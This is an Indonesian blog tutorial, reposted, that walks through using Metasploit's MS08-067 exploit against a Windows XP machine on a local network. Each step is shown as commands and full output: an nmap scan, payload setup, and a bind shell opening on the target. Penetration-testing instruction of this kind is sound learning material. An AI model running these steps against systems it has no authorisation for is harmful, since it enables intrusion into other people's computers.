Jumat, 27 Agustus 2010

Metasploit : Teknik Dasar

Posting ini kubuat sebagai salah satu contoh audit security halah.. pentest aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz… Post ini juga buat bayar utang ma hardie soal metasploit :D Ini coy dah kutepatin janjinya. silahkan coba sendiri ya. cara yang paling mudah sebenarnya bisa menggunakan OS BackTrack, tapi disini saya menggunakan ubuntu yang telah diinstall metasploit. Langkah instalasinya bisa dilihat disini.

Metasploit : msfconsole
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan :D . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:

$ msfconsole


Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :

    msf > help
    Core Commands
    =============

    Command Description
    ------- -----------
    ? Help menu
    back Move back from the current context
    banner Display an awesome metasploit banner
    cd Change the current working directory
    connect Communicate with a host
    exit Exit the console
    help Help menu
    info Displays information about one or more module
    irb Drop into irb scripting mode
    jobs Displays and manages jobs
    load Load a framework plugin
    loadpath Searches for and loads modules from a path
    quit Exit the console
    resource Run the commands stored in a file
    route Route traffic through a session
    save Saves the active datastores
    search Searches module names and descriptions
    sessions Dump session listings and display information about sessions
    set Sets a variable to a value
    setg Sets a global variable to a value
    show Displays modules of a given type, or all modules
    sleep Do nothing for the specified number of seconds
    unload Unload a framework plugin
    unset Unsets one or more variables
    unsetg Unsets one or more global variables
    use Selects a module by name
    version Show the framework and console library version numbers

Untuk melihat list exploits-nya , gunakan perintah :

    msf > show exploits

List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :

    windows/smb/ms05_039_pnp              Microsoft Plug and Play Service Overflow
    windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow
    windows/smb/ms06_025_rras Microsoft RRAS Service Overflow
    windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow
    windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll
    windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll
    windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption

Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :

    msf > sudo nmap -v -sS -A -O 192.168.1.28
    [*] exec: sudo nmap -v -sS -A -O 192.168.1.28
    [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT
    Initiating ARP Ping Scan at 23:50
    Scanning 192.168.1.28 [1 port]
    Host 192.168.1.28 appears to be up ... good.
    Interesting ports on 192.168.1.28:
    Not shown: 1712 closed ports
    PORT STATE SERVICE VERSION
    135/tcp open msrpc Microsoft Windows RPC
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
    MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
    Device type: general purpose
    Running: Microsoft Windows XP
    OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=258 (Good luck!)
    IP ID Sequence Generation: Incremental
    Service Info: OS: Windows

Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.

    msf > use windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) >

Lihat opsi dari exploit ini dengan mengetikkan show options :

    msf exploit(ms08_067_netapi) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

    Exploit target:
    Id Name
    -- ----
    0 Automatic Targeting

Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :

    msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
    rhost => 192.168.1.28

Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :

    msf exploit(ms08_067_netapi) > show targets
    Exploit targets:
    Id Name
    -- ----
    0 Automatic Targeting
    1 Windows 2000 Universal
    2 Windows XP SP0/SP1 Universal
    3 Windows XP SP2 English (NX)
    4 Windows XP SP3 English (NX)
    -------- cut -----------

Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :

    msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
    payloads => windows/shell_bind_tcp

Untuk melihat payload apa saja dalam metasploit, gunakan perintah :

    msf exploit(ms08_067_netapi) > show payloads
    Compatible payloads
    ===================
    Name Description
    ---- -----------
    generic/debug_trap Generic x86 Debug Trap
    generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)
    generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support)
    generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager
    ----------- dipotong sampai disini ---------------

Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :

    msf exploit(ms08_067_netapi) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST 192.168.1.28 yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

    Payload options (windows/shell_bind_tcp):
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique: seh, thread, process
    LPORT 4444 yes The local port
    RHOST 192.168.1.28 no The target address
    Exploit target:
    Id Name
    -- ----
    0 Automatic Targeting

sekarang jalankan exploit :

    msf exploit(ms08_067_netapi) > exploit
    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Triggering the vulnerability...
    [*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\WINDOWS\system32>ipconfig
    ipconfig
    Windows IP Configuration
    Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.1.28
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.1.254

    C:\WINDOWS\system32>

Dan ternyata emang masih bolong… :p

Metasploit : msfcli
Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
Untuk melihat manual perintahnya bisa dilihat dari help maupun manpage-nya wiki-nya metasploit.

    bash-4.1$ msfcli –help
    [*] Please wait while we load the module tree...
    Error: Invalid module: --help
    Usage: /usr/local/bin/msfcli [mode]
    =================================================================
    Mode Description
    ---- -----------
    (H)elp You're looking at it baby!
    (S)ummary Show information about this module
    (O)ptions Show available options for this module
    (A)dvanced Show available advanced options for this module
    (I)DS Evasion Show available ids evasion options for this module
    (P)ayloads Show available payloads for this module
    (T)argets Show available targets for this exploit module
    (AC)tions Show available actions for this auxiliary module
    (C)heck Run the check routine of the selected module
    (E)xecute Execute the selected module

So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:

    IP Addr Target : 192.168.1.28
    Port target : 445
    Exploit : windows/smb/ms08_067_netapi
    Payload : windows/shell_bind_tcp
    Exploit target : 0

Dan implementasinya menjadi seperti ini :

    bash$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E
    [*] Please wait while we load the module tree...
    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Triggering the vulnerability...
    [*] Command shell session 1 opened (192.168.1.6:36804 -> 192.168.1.28:4444)

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\WINDOWS\system32>ipconfig
    ipconfig
    Windows IP Configuration
    Ethernet adapter Local Area Connection:
    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.1.28
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.1.254
    C:\WINDOWS\system32>
Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri karena saya malas upload gambarnya :-p. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.

Sumber : http://www.masrony.com/2009/03/metasploit-i-teknik-dasar/

Bookmark and Share

2 Komentar:

Unknown mengatakan...

numpang nanya ni...

gan adakah cara , jika ingin meelihat sistem operasi yang digunkan adalah xp ,tanpa harus menscan 1 per 1 ip yang ada,,,

makasih sebelumnnya :)

Unknown mengatakan...

tahnks gan

Posting Komentar

Diberdayakan oleh Blogger.
 

Comment


ShoutMix chat widget

Cari Blog Ini

Google Search

Top Friends


GILA LINUX | Template Ireng Manis © 2010 Free Blogger Template Ajah for DheTemplate.com - New Free Blogger Template Everyday